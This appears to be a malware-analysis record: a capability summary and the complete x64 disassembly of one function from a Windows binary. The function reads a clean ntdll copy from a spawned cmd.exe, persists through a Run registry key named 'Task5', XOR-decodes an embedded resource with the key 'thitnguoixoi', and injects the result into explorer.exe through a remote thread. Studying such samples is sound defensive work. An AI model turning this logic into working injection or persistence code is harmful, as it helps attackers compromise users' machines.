Function at 0x140001d30
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Enumerate processes
Execute command
Extract resource via kernel32 functions
Inject thread
Persist via run registry key
Set registry value
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x250], rax
xorps xmm0, xmm0
xor eax, eax
xorps xmm1, xmm1
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
mov qword [rbp - 0x20], rax
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 8], rax
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, str.C:WindowsSystem32_
mov qword [rsp + 0x38], rax
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.cmd.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001e21
lea rdx, str.____Error:_Could_not_call_CreateProcess
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400014c0
mov rcx, rax
lea rdx, [0x140001910]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x50]
mov r9d, 4
mov r8d, 0x1000
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
lea rdx, str.ntdll_size:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400014c0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str.__cache:
call fcn.1400014c0
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140001910]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x50], r15
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, rsi
mov rdx, rdi
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140001f05
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Error_reading:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400014c0
mov rcx, rax
mov rdx, qword [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001910]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Kill___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001730
xor edx, edx
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rdx, str.Done___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001730
mov r8, rsi
mov rdx, qword [rbp]
lea rcx, [rbp - 0x80]
call fcn.140001210
lea rdx, str.Done___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001730
lea rcx, [rsp + 0x60]
call fcn.140001b70
nop
mov qword [rsp + 0x58], r15
lea r8, [rsp + 0x58]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
mov eax, dword [rsp + 0x70]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Task5
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [0x1400046b0]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
mov r14d, edi
mov ecx, edi
call fcn.140002300
mov rsi, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r11, rax
test edi, edi
je 0x140002060
mov r8, rsi
mov r9, r15
sub r11, rsi
mov r10d, edi
movabs rbx, 0xaaaaaaaaaaaaaaab
lea rdi, str.thitnguoixoi
nop
mov rax, rbx
mul r9
shr rdx, 3
lea rax, [rdx + rdx*2]
shl rax, 2
mov rcx, r9
sub rcx, rax
movzx eax, byte [rcx + rdi]
xor al, byte [r8 + r11]
mov byte [r8], al
inc r9
lea r8, [r8 + 1]
sub r10, 1
jne 0x140002030
mov edi, r15d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400020c4
mov dword [rbp + 0x10], 0x238
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400020bb
nop
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x3c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1400020b8
lea rdx, [rbp + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002090
jmp 0x1400020bb
mov edi, dword [rbp + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, rsi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140002189
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002184
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002184
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002290
xor eax, eax
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.140002270
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret